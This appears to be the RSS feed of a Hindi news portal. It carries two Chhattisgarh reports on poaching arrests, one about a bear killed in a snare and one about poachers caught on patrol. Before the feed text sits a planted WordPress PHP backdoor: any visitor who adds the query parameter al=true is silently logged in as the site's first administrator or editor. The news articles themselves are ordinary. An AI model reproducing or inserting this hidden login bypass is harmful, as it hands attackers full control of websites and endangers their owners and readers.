// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); hunters – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 21 Jan 2025 15:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़-मरवाही में जाल में फंसकर मादा भालू की मौत, वन अमले ने शावक का रेस्क्यू कर 4 शिकारियों को किया गिरफ्तार https://pratyushaashakinayikiran.com/?p=123778 Tue, 21 Jan 2025 15:55:00 +0000 https://pratyushaashakinayikiran.com/?p=123778 गौरेला पेण्ड्रा मरवाही।

मरवाही वनमंडल के गंगनई नेचर कैंप सालेकोटा के जंगलों में शिकारियों द्वारा लगाए गए जाल में फंसने से एक वयस्क मादा भालू की दर्दनाक मौत हो गई। जबकि, उसके एक शावक का समय रहते रेस्क्यू कर लिया गया। इस घटना के सामने आने के बाद वन अमले ने कार्रवाई करते हुए चार शिकारियों को गिरफ्तार किया है। इनके पास से तार, रस्सी, और जाल लगाने के अन्य उपकरण बरामद किए गए हैं।

बता दें कि गंगनई नेचर कैंप सालेकोटा के जंगल में मादा भालू के चीखने की आवाजें लगातार सुनाई दे रही थीं। जंगली क्षेत्र और भालुओं की मौजूदगी के कारण वहां जाने की हिम्मत कोई नहीं कर पा रहा था। स्थानीय समिति के युवकों ने हिम्मत दिखाते हुए पास जाकर देखा तो पाया कि मादा भालू शिकारी के जाल में फंसी हुई थी। उन्होंने मौके पर मौजूद 8 महीने के नर शावक को सुरक्षित बचा लिया। माना जा रहा है कि यह शावक मादा भालू का बच्चा था। हालांकि, मादा भालू को समय पर जाल से नहीं निकाला जा सका, जिससे उसकी दम घुटने से मौत हो गई। मरवाही वनमंडल के डीएफओ रौनक गोयल ने बताया कि लगभग 8 से 9 साल की इस मादा भालू की मौत का कारण क्लच वायर से फंसने के चलते दम घुटना था। घटना की जानकारी मिलते ही वन विभाग की टीम ने डॉग स्क्वायड की मदद से मामले की जांच शुरू की और चार आरोपियों को गिरफ्तार किया है। पूछताछ के दौरान आरोपियों ने क्षेत्र में जाल लगाने की बात स्वीकार की। सभी आरोपी स्थानीय निवासी हैं। इनके पास से तार, रस्सी और अन्य शिकार के उपकरण बरामद किए गए हैं। नियमानुसार इनके खिलाफ मामला दर्ज कर न्यायालय में प्रस्तुत किया जा रहा है।

पोस्टमार्टम के बाद किया गया मादा भालू का दाह संस्कार
मादा भालू के शव का पोस्टमार्टम कर दाह संस्कार कर दिया गया है। वहीं, नर शावक को जंगल में वापस छोड़ दिया गया है। वन विभाग ने क्षेत्र में शिकार जैसी घटनाओं को रोकने के लिए सुरक्षा बढ़ाने का आश्वासन दिया है। यह घटना वन्यजीवों की सुरक्षा के प्रति सतर्कता और स्थानीय जागरूकता की कमी को दर्शाती है। वन विभाग ने स्थानीय निवासियों से जंगल में शिकारियों की गतिविधियों पर नजर रखने और ऐसी घटनाओं की जानकारी तुरंत देने की अपील की है।

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छत्तीसगढ़-बलौदाबाजार में जंगली जानवरों के पांच शिकारी गिरफ्तार, पुलिस गश्त के दौरान की कार्रवाई https://pratyushaashakinayikiran.com/?p=96953 Mon, 11 Nov 2024 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=96953 बलौदाबाजार.

बलौदाबाजार वनमंडल के वन अमलों द्वारा संवेदनशील क्षेत्रों में नियमित रूप से गश्ती की जा रही है। इसी दौरान नौ नवंबर की रात लगभग नौ बजे परिक्षेत्र अर्जुनी अंतर्गत वन क्षेत्र में गश्ती के दौरान परिक्षेत्र अर्जुनी रात्रि गश्ती टीम द्वारा कुछ लोगों को जंगल की तरफ गांजरडीह बीट में जाते हुए देखा गया। गश्ती टीम द्वारा उनका पीछा किया गया और जंगल में छिपकर उनको पकड़ने के लिए घात लगाकर बैठे रहे। सुबह तड़के करीब चार बजे शिकार के पांच आरोपियों को वन विभाग द्वारा धर दबोचा गया।

मुख्य शिकारी कमल सिंह ग्राम गांजरडीह है, जो पूर्व में भी वन्यप्राणी के शिकार केस में जेल भेजा जा चुका है और जमानत में बाहर आकर दोबारा शिकार की घटनाओं को अंजाम देता है, उक्त व्यक्ति आदतन शिकारी है एवं अन्य चार आरोपी क्रमश कुंजराम विश्वकर्मा ग्राम करमेल, कुबेर सिंह भोई ग्राम करमेल, चैनूराम भोई ग्राम करमेल एवं युधिष्ठिर भोई ग्राम करमेल है। इनके पास से शिकार सामग्री करीब 6.7 किग्रा जीआई तार एवं सेट्रींग तार जब्त किया गया, जिसे जंगल में फैलाकर लकड़ी की खुंटी लगाकर 11000 वोल्ट के विद्युत खम्भे में कनेक्शन करके वन्यप्राणी के शिकार को अंजाम देने का प्रयास कर रहे थे। उपरोक्त गश्ती टीम में गोविंद राम निषाद वनरक्षक परिसर रक्षी गांजरडीह, सनद यादव, भानु प्रसाद केंवट, तुलाराम, मनोहर सुरक्षा श्रमिक शामिल थे। साथ ही दो दिन पूर्व ही वन विभाग की टीम द्वारा गांजरडीह एवं सराईपाली के आस-पास के गांव में बाघ एवं अन्य वन्यप्राणी विचरण के संबंध में मुनादी कराया गया था ग्रामीणों को समझाईस दी गयी थी कि वन क्षेत्र में न जावें। उसके बाद भी शिकारियों द्वारा वन्यप्राणी के शिकार करने का प्रयास किया गया। हालाकि वन विभाग की टीम ने शिकार होने के पूर्व ही शिकारियों को धर दबोचा। इसके पूर्व सोनाखान परिक्षेत्र के भुसड़ीपाली बीट में भी दो बंदूकधारी शिकारियों को उनके शिकार के पूर्व ही उन्हें पकड़ लिया गया था। उक्त शिकार में संलिप्त पांच शिकारियों के विरूद्ध नियमानुसार वन्यजीव संरक्षण अधिनियम 1972 के तहत आवश्यक कार्रवाई कर जेल भेजा गया। उपरोक्त कार्रवाई में उप वन मंडलाधिकारी कसडोल हितेश कुमार ठाकुर, परिक्षेत्र अधिकारी अर्जुनी अनिरूद्ध भोई, परिक्षेत्र सहायक सोनाखान योगेश कुमार साहू वनपाल एवं परिक्षेत्र अर्जुनी के समस्त वन अमला शामिल थे।

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